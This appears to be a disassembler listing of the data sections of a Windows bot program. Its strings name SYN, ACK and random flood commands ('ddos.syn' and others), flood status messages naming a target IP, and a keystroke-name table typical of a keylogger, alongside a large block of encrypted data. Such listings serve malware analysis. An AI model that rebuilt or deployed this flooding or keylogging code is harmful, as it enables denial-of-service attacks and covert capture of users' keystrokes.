off_421CF0	dd offset off_438AE8	; DATA XREF: seg001:00421D24o
					; seg001:00421D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D08	dd offset off_438B08	; DATA XREF: seg001:00421D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D08
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D2C	dd 3 dup(0)		; DATA XREF: seg001:00421D50o
		dd 3, 421D20h, 3 dup(0)
		dd offset off_438B08
		dd offset dword_421D2C+4
		align 8
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D60	dd 4 dup(0)		; DATA XREF: seg001:00421D88o
		dd 2, 421D58h
dword_421D78	dd 3 dup(0)		; DATA XREF: seg001:00421C58o
		dd offset off_438AE8
		dd offset dword_421D60+8
		align 10h
off_421D90	dd offset off_438B28	; DATA XREF: seg001:00421DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D90
		dd offset off_421CF0
		dd offset off_421CD8
		dd 0
		db    0			; DATA XREF: seg001:00421DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421DA8h
dword_421DC8	dd 3 dup(0)		; DATA XREF: seg001:00421C68o
		dd offset off_438B28
		dd offset unk_421DB8
		dd offset off_421CD8
dword_421DE0	dd 4 dup(0)		; DATA XREF: seg001:00421E08o
		dd 1, 421DDCh
dword_421DF8	dd 3 dup(0)		; DATA XREF: seg001:00421C90o
		dd offset off_438AD0
		dd offset dword_421DE0+8
		align 10h
off_421E10	dd offset off_438B48	; DATA XREF: seg001:00421E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E10
dword_421E2C	dd 3 dup(0)		; DATA XREF: seg001:00421E50o
		dd 1, 421E28h
dword_421E40	dd 3 dup(0)		; DATA XREF: seg001:00421CB0o
		dd offset off_438B48
		dd offset dword_421E2C+4
		align 8
dword_421E58	dd 19930520h, 2, 421E78h, 5 dup(0) ; DATA XREF:	seg000:loc_420243o
		dd 0FFFFFFFFh, 42022Ch,	0
		dd offset sub_420224
dword_421E88	dd 19930520h, 2, 421EA8h, 5 dup(0) ; DATA XREF:	seg000:loc_420260o
		dd 0FFFFFFFFh, 420250h,	0
		dd offset loc_420258
dword_421EB8	dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3	dup(0)
					; DATA XREF: seg000:loc_42026Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421F00h, 4	dup(0)
		dd offset loc_404E38
		dd 0
		dd offset off_438AD0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42014Bh, 2 dup(0)
		dd offset off_438AE8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FED1h, 2 dup(0)
		dd offset off_438B08
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FFA4h, 0
dword_421F70	dd 3, 421F50h, 421F30h,	421F10h	; DATA XREF: seg001:00421F8Co
dword_421F80	dd 0			; DATA XREF: sub_41FD90+47o
					; sub_41FF6B+12o
		dd offset sub_41FF2E
		dd 0
		dd offset dword_421F70
dword_421F90	dd 19930520h, 1, 421FB0h, 5 dup(0) ; DATA XREF:	seg000:loc_420280o
		dd 0FFFFFFFFh, 420278h
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF:	seg000:loc_420294o
dword_421FD8	dd 0FFFFFFFFh, 42028Ch,	2, 421F30h, 421F10h, 0 ; DATA XREF: seg001:00421FFCo
dword_421FF0	dd 0			; DATA XREF: sub_41FE5B+12o
		dd offset sub_41FE78
		dd 0
		dd offset dword_421FD8+8
dword_422000	dd 19930520h, 1, 422020h, 5 dup(0) ; DATA XREF:	seg000:loc_4202A8o
		dd 0FFFFFFFFh, 4202A0h
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF:	seg000:loc_4202BCo
		dd 0FFFFFFFFh, 4202B4h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF:	seg000:loc_4202D0o
		dd 0FFFFFFFFh, 4202C8h,	0
		dd offset off_438B28
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42008Ch, 0
dword_422098	dd 3, 422078h, 421F30h,	421F10h	; DATA XREF: seg001:004220B4o
dword_4220A8	dd 0			; DATA XREF: sub_41FFBC+47o
					; sub_420053+12o
		dd offset sub_420016
		dd 0
		dd offset dword_422098
dword_4220B8	dd 19930520h, 1, 4220D8h, 5 dup(0) ; DATA XREF:	seg000:loc_4202E4o
		dd 0FFFFFFFFh, 4202DCh
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF:	seg000:loc_4202F8o
		dd 0FFFFFFFFh, 4202F0h,	0CF05B077h, 0D1C8E04h, 782DB636h
		dd 94B2164Eh, 6D6BCB3Dh, 8675A883h, 0D466DD2Ch,	0BD08C7C3h
		dd 747D0B91h, 38126393h, 4AE2D8F2h, 982640E9h, 7BCD3C66h
		dd 0B824D2h, 95BB77C5h,	302ADCA6h, 17BABE62h, 4D90CCBh
		dd 4DCFB252h, 3151CC0Bh, 865FAC50h, 637B2570h, 89B1D522h
		dd 9AE945C2h, 68801295h, 0E72D9882h, 9998B70Dh,	6B3FAB82h
		dd 67831B9Ah, 0B2F6D707h, 0AF4FE5AAh, 5490C97Ah, 0EC56413Fh
		dd 0EE48CFB3h, 9725D1BEh, 68FBFDC4h, 0CE657E49h, 82E81B61h
		dd 5DDE09ABh, 0C86F67D3h, 877BD4h, 0BAE92B7Ch, 6A35CE4h
		dd 5B981AE7h, 40F1BEC4h, 0FE938171h, 3BEF1657h,	75D64E78h
		dd 0CD24E131h, 7E57D820h, 0F88327E2h, 8E298CA8h, 12DABAD8h
		dd 0E3BC554Bh, 445357C2h, 0EE1FE2B4h, 57FE8D91h, 257B806h
		dd 0D4787601h, 5EC81266h, 709441B5h, 84AE8F27h,	0C8208BE6h
		dd 0D9A3BD7Ch, 72AE8998h, 0A03661B8h, 547C036Ah, 3C919D24h
		dd 5A5A19F0h, 0C537E063h, 6FB1E2A0h, 0F2C2AB64h, 0C790D34Ch
		dd 4BC41DE5h, 86CAF72Dh, 0ACA6568Bh, 0A328FA80h, 22A7AD7Fh
		dd 2EA505B1h, 9DEADA5h,	0D5C35F17h, 8455E761h, 0CCE4F43Eh
		dd 482D96E6h, 0F2C093C1h, 0A6D70C20h, 52DE0BBFh, 0FC60F71Eh
		dd 0EC2A15C7h, 65C17421h, 0DE8E0F72h, 0BB4CEC26h, 0C3A78375h
		dd 0F51FC80Eh, 7B828352h, 0C7B0F251h, 336CCE8Fh, 98642840h
		dd 0C5CFCE87h, 0C8321BDCh, 662861BFh, 465D6236h, 9FFC70D8h
		dd 73403B62h, 0A1F55A06h, 5F1E1DFDh, 0DFF52F1Bh, 430F1943h
		dd 0FB4EB528h, 5FF30DA9h, 5FB48A2h, 1F81A11Ch, 6F57D23h
		dd 8B5320BCh, 0E091A0B0h, 14191134h, 7EEDFC9Ah,	0A1C8B09Ch
		dd 4A71F4E5h, 0FCE92AECh, 160ED47h, 86EAB202h, 0CD7708B0h
		dd 38886131h, 0B699A868h, 0FC46E768h, 5D94D3BBh, 54F60FE5h
		dd 8EC5634h, 4C510B7Ah,	1BEBB64h, 0C1999D5Bh, 46AC1E45h
		dd 0F75A0388h, 84DEB822h, 8026BABCh, 6416560Fh,	6C7613F3h
		dd 29C489FBh, 0D38F8A7Ch, 9F43B549h, 0AC75069Eh, 5710E7F7h
		dd 0EEF9CFCAh, 341B8163h, 0ACE6660h, 4929B08Ah,	0A7AC2400h
		dd 0A40BDF0h, 0C88FA86Fh, 0C12A1C05h, 24FA210Fh, 67015D1Eh
		dd 0DC5159D7h, 0B6D1E508h, 8B3B97F4h, 0A048751Ch, 8E2254E3h
		dd 57383F0h, 0B5B3B829h, 0C48D6792h, 327AEF93h,	1CE5504Eh
		dd 0DD88490Fh, 52C5140Fh, 0D22A2B08h, 0B475C04Ah, 4FB1D161h
		dd 0E44E0D76h, 0E84AE3F3h, 78D28D1Eh, 15E4CEA6h, 0E3E3C072h
		dd 12B000Dh, 0B801E880h, 0AE89DE9Fh, 3590B0E4h,	7445A27Ah
		dd 1D48AB19h, 0BAA5F2B6h, 0EB969A52h, 152A5947h, 4F2686EAh
		dd 0A7D08271h, 0F668AB5Ah, 0DC724ECEh, 0B03B30C7h, 6923B4DFh
		dd 0D492B01Fh, 0A1B07430h, 73C97C0h, 2124950Ah,	40AE47B9h
		dd 0BF5EBBBAh, 2EE31394h, 0D3BB4564h, 0DF510AABh, 0CCCC3F63h
		dd 0C4DE8E20h, 1621263Eh, 0F8FCC24Ah, 4A18752Dh, 0E2BEBFCEh
		dd 0BDCE0D2Eh, 1F0F9D32h, 50125FA1h, 0C1EA510Ah, 936B7387h
		dd 0DFB352B5h, 4235B83Ah, 718C17A9h, 1C1A5C6h, 7ACE5A4Dh
		dd 7A942AD0h, 88833A64h, 0BEA9F104h, 86F51C09h,	0FDCC7616h
		dd 0D0526C3Dh, 89FDDC5Fh, 0AC5620FDh, 2CEFACF8h, 0FA0F16F6h
		dd 0CD874C74h, 50AB3CB7h, 6A79551Dh, 4B578883h,	58EFB7CAh
		dd 452DC4A8h, 0DA40A547h, 4C382970h, 0AB25C41h,	787FC098h
		dd 75EAECDh, 7E28A65Ch,	830A6A81h, 0A7A21215h, 92288A0Bh
		dd 6ED2861h, 0D4DF3470h, 0BE1ACE3h, 0E71C8FCAh,	5D95788Ah
		dd 32BE609Eh, 0BC6C26Fh, 0EECE80BAh, 4603C3Fh, 9EC319B2h
		dd 0EA06F639h, 0B4DCB9DBh, 2EB420B6h, 0A18939E1h, 7B708A48h
		dd 23DC64EEh, 76090663h, 0EF1B8158h, 0CBE38B9Ah, 0A94CA2E8h
		dd 8BDC376Ah, 23E5C5AFh, 0D6380C93h, 0F380C462h, 0E0A0950Bh
		dd 63A41C57h, 37354A6Eh, 95997404h, 62AAC815h, 1B540D0Eh
		dd 0D27BE2A9h, 0BC6CE6F7h, 1D267156h, 0A623C74Ah, 8B7A047Dh
		dd 0DD790D5Dh, 0F600560Ah, 35B4BABh, 0F35C9A47h, 69D5C1B3h
		dd 57DB944Bh, 7D5C9A6Dh, 0F9F781F7h, 7823FC4Ch,	0DD00D181h
		dd 6783ECD4h, 97C0B38Bh, 7D7700BDh, 0F486BD3h, 0BE1DDCA2h
		dd 87B47C6Fh, 0F253894Dh, 313A596h, 0E7599580h,	0EC50A5FAh
		dd 0E8E0363h, 1835D9BBh, 55340A71h, 0D7BA5D9h, 6C49AEFBh
		dd 0A3E6AB46h, 3C6D1C43h, 0F679D67Eh, 0C4DCDB15h, 9CB235B5h
		dd 4073D301h, 38DB9F91h, 97C8171Eh, 526A3676h, 2A558A5Bh
		dd 8C6EA661h, 0DFA85468h, 18124755h, 91B21E21h,	8A290154h
		dd 0BE1B2697h, 0F5D208ECh, 90AA20A7h, 59236455h, 31BBE714h
		dd 5AE94E16h, 70CC0342h, 597C5445h, 0BB0CF075h,	0C8985855h
		dd 5F094EABh, 0DB52566Dh, 1E65C4F6h, 8815FC52h,	189FCC7Ah
		dd 0CDAF1AE9h, 0FEE941E5h, 5878D53Fh, 9B12BC8Eh, 6979B421h
		dd 0A075CE11h, 1AB1784Dh, 0D710FD83h, 0E562C42Dh, 8D8A933Bh
		dd 87729E1Dh, 5D6A451Dh, 28D8AC4Eh, 47449E86h, 0DC225B2Ch
		dd 11044ABBh, 72F7BB5Ch, 0FC451BEBh, 8CCA4746h,	0D3BBF6C6h
		dd 14776034h, 33A97FA0h, 0EF0DB3F6h, 3B659923h,	1999592Ah
		dd 7AF4BD92h, 0F10BD7F6h, 3DB2149Fh, 0FA1EE377h, 1B0570CCh
		dd 0C75C039Ch, 0E0250B61h, 5230EDACh, 0C5FB13EEh, 96FDCC4Dh
		dd 0EF00145Dh, 8159411Fh, 47372699h, 2C4040EBh,	0A135EBBFh
		dd 6B6DBA5Dh, 333B69E2h, 0ABB5154Ch, 5359A05Eh,	1F7B7499h
		dd 96A607BDh, 3B29D59Ch, 308DC32Bh, 87C2F71Ch, 0A91DC274h
		dd 0B88616DBh, 0E67698A1h, 1E9A6FB5h, 7B3D2F11h, 64CEA046h
		dd 53274936h, 9A69D12Ah, 0A58DD5D0h, 9608A7C7h,	38150FC9h
		dd 9F8F16A7h, 0FA6A6D91h, 6B2BF367h, 0E5036915h, 6D5B652Eh
		dd 36FA0A44h, 741716BDh, 0EEF5491Fh, 94F74308h,	0AD1E475Dh
		dd 697C945Fh, 0D52345A3h, 9F59C632h, 5A7D42h, 0D4D32051h
		dd 0C1DEC38Dh, 0C534C2D2h, 0C3CEF1BBh, 0C946BD75h, 288E305Eh
		dd 9FE6FBA3h, 3B230362h, 8EA3FBFAh, 7F972BA4h, 0CE6B5668h
		dd 0FD765A14h, 4E4E1DD1h, 0F050B467h, 0B44A0256h, 0B1511F5Eh
		dd 0CA2D4F15h, 7ED6397h, 1F85B28Ch, 0B29321F2h,	0A9ED481h
		dd 5C768E83h, 0F78FC67Eh, 0C5650C15h, 85F38DEh,	4EB1823Fh
		dd 0F8328067h, 0CA28970Ah, 65857A75h, 0A916AD1Dh, 56862EB8h
		dd 6A63B689h, 1969467Bh, 5EB9D217h, 73DF5E86h, 0C4B9C62Dh
		dd 1E961984h, 2C443742h, 91C10E01h, 26D2C0E1h, 25BF7CF2h
		dd 53DDD33Eh, 7BC6DBD8h, 0B2526955h, 43A72E66h,	481D84A4h
		dd 3E9932BAh, 17BF8069h, 0A41A542Fh, 5EF93878h,	0CFDE7EB3h
		dd 397FEF9Fh, 39D3ABB8h, 7BBE2199h, 0C62959ABh,	0EABAFE8Eh
		dd 6776B900h, 0C4F1E42Eh, 4E6BECDh, 93547E4Dh, 0B878F8FCh
		dd 534CCC1Ah, 675037FDh, 0E6D6F9E4h, 8E140C18h,	0DEA7F56Ah
		dd 7D5E0C44h, 8F65EAC1h, 0CD39ED97h, 72EC7EC5h,	32B27340h
		dd 0E1ABE221h, 91781F10h, 1A06B9DCh, 7A8BC497h,	8DCDC185h
		dd 0D9FAD9D2h, 90CB5DDCh, 0CB6A665h, 4957DF20h,	3B6B3D61h
		dd 0F5F8B2D9h, 9793FAAh, 852B4246h, 8FE97FDBh, 7818C545h
		dd 0AE8762C1h, 1B77C9DFh, 0A7F9206Dh, 8729659h,	0BF2C4C7h
		dd 0FE9F60D4h, 0F77314C2h, 8044889h, 0A7172911h, 0EC312E82h
		dd 4B73F775h, 0F96751F4h, 3A8B9299h, 19D0C425h,	704A417Dh
		dd 33C6AAD5h, 58167171h, 0E42C4F4Fh, 0EB6D6AA0h, 87CF02EEh
		dd 2197D830h, 86E8C851h
		dd 0A76526E4h, 9BE4FDh,	0F4FDA664h, 0BF9423B0h,	0A2BF8EFBh
		dd 82A8F82Ah, 1E31BC01h, 8B957C94h, 0A2FE54B7h,	89C12375h
		dd 870928D0h, 0CC1A5135h, 0DF87F075h, 0CEF3BE2Dh, 663658E2h
		dd 209A54Fh, 0B994D294h, 0FD7BC658h, 0ED374800h, 0F0F03990h
		dd 642490E0h, 65B50C26h, 47B714h, 59F8B808h, 99E91A03h
		dd 0A1106362h, 0D84C4FA1h, 0A3D0EB98h, 483BE2F3h, 53F7D1E1h
		dd 0C5C8DB32h, 919FE366h, 4205196Bh, 0CACAC2F5h, 0CDCE77C5h
		dd 0EFF52F48h, 0F2B4CF4Ch, 0B9C531D5h, 68E6BB43h, 42BB0637h
		dd 930321Ah, 0E3F8DF18h, 260AEFE4h, 76207CBEh, 26BDB267h
		dd 0CD32811Ah, 6A8D3EAEh, 938DB16Bh, 94F93B42h,	6CEFEC74h
		dd 100FDBD8h, 6A93013Dh, 0F1C55BA8h, 0D6514C69h, 236D4141h
		dd 44DB2F17h, 0E1357DF6h, 0F5064D56h, 8BB053DDh, 94189E2Ch
		dd 0BC811057h, 333C5124h, 0BDFD962Bh, 0A6F17A73h, 41F6B833h
		dd 29959AB1h, 6E855F98h, 50F9EA16h, 42E8869Fh, 5310824Dh
		dd 3B760200h, 9F9B43DDh, 579B1DD2h, 0BEFCA11Bh,	61E9010Eh
		dd 8C0930A8h, 8F3AEA8Fh, 0BAEC068Ch, 6CD63DB7h,	0A82CEBD5h
		dd 1CC05297h, 87A061CBh, 0E3FD2AA8h, 0CE986BB6h, 7F3DE1Bh
		dd 5F8372Eh, 0FADDF5B0h, 0D1788D00h, 0DC497227h, 65E610A2h
		dd 45A3C136h, 2E804D38h, 60DB7619h, 0DC5CA422h,	6013CCA8h
		dd 0BADBF126h, 395A0A0Ah, 4F3A1521h, 0AA82A4E9h, 561E3D46h
		dd 0A4F93844h, 34411FBh, 0ECBF56C4h, 99349A35h,	25601DADh
		dd 4F0B0D6Bh, 0F079F59h, 86515321h, 329A213Dh, 4DE172F2h
		dd 0C4EF1C8Dh, 39E1BA3Ch, 0E8082064h, 86CAC94Dh, 6E72656Bh
		dd 32336C65h, 6C6C642Eh, 14Bh dup(0)
seg001		ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00048000 ( 294912.)
; Section size in file		: 00048000 ( 294912.)
; Offset to raw	data for section: 00023000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 423000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_423000	dd 0			; DATA XREF: seg000:004177F9o
		dd offset loc_4036CF
		dd offset sub_404EE6
		dd offset sub_4200A4
dword_423010	dd 0			; DATA XREF: seg000:004177F4o
dword_423014	dd 0			; DATA XREF: seg000:004177EAo
		dd offset sub_416832
		dd offset sub_41C364
		dd offset sub_41D0B6
		dd offset sub_41DF28
dword_423028	dd 0			; DATA XREF: seg000:loc_4177E5o
dword_42302C	dd 0			; DATA XREF: sub_417829+65o
		dd offset sub_41D15B
dword_423034	dd 0			; DATA XREF: sub_417829:loc_417889o
dword_423038	dd 0			; DATA XREF: sub_417829+76o
		dd offset sub_41DF39
dword_423040	dd 4 dup(0)		; DATA XREF: sub_417829:loc_41789Ao
unk_423050	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: seg000:004013B4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:004011A3o
		align 4
unk_4230E4	db    2			; DATA XREF: seg000:004017DEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_423148	db    2			; DATA XREF: seg000:0040174Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
unk_4231AC	db    2			; DATA XREF: seg000:00401571o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4231E0	db    2			; DATA XREF: seg000:00401509o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C	db    2			; DATA XREF: seg000:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:00401876o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_4232B0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CA+27Do
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:004020C1o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00402025o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: seg000:00401EE8o
					; seg000:0040F961o ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: seg000:00401EC8o
					; seg000:0040F94Ao
aSyn		db 'syn',0              ; DATA XREF: seg000:00401EA8o
					; seg000:0040F932o
dword_4233B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401D35o
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401CC4o
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_423438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401C46o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: seg000:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
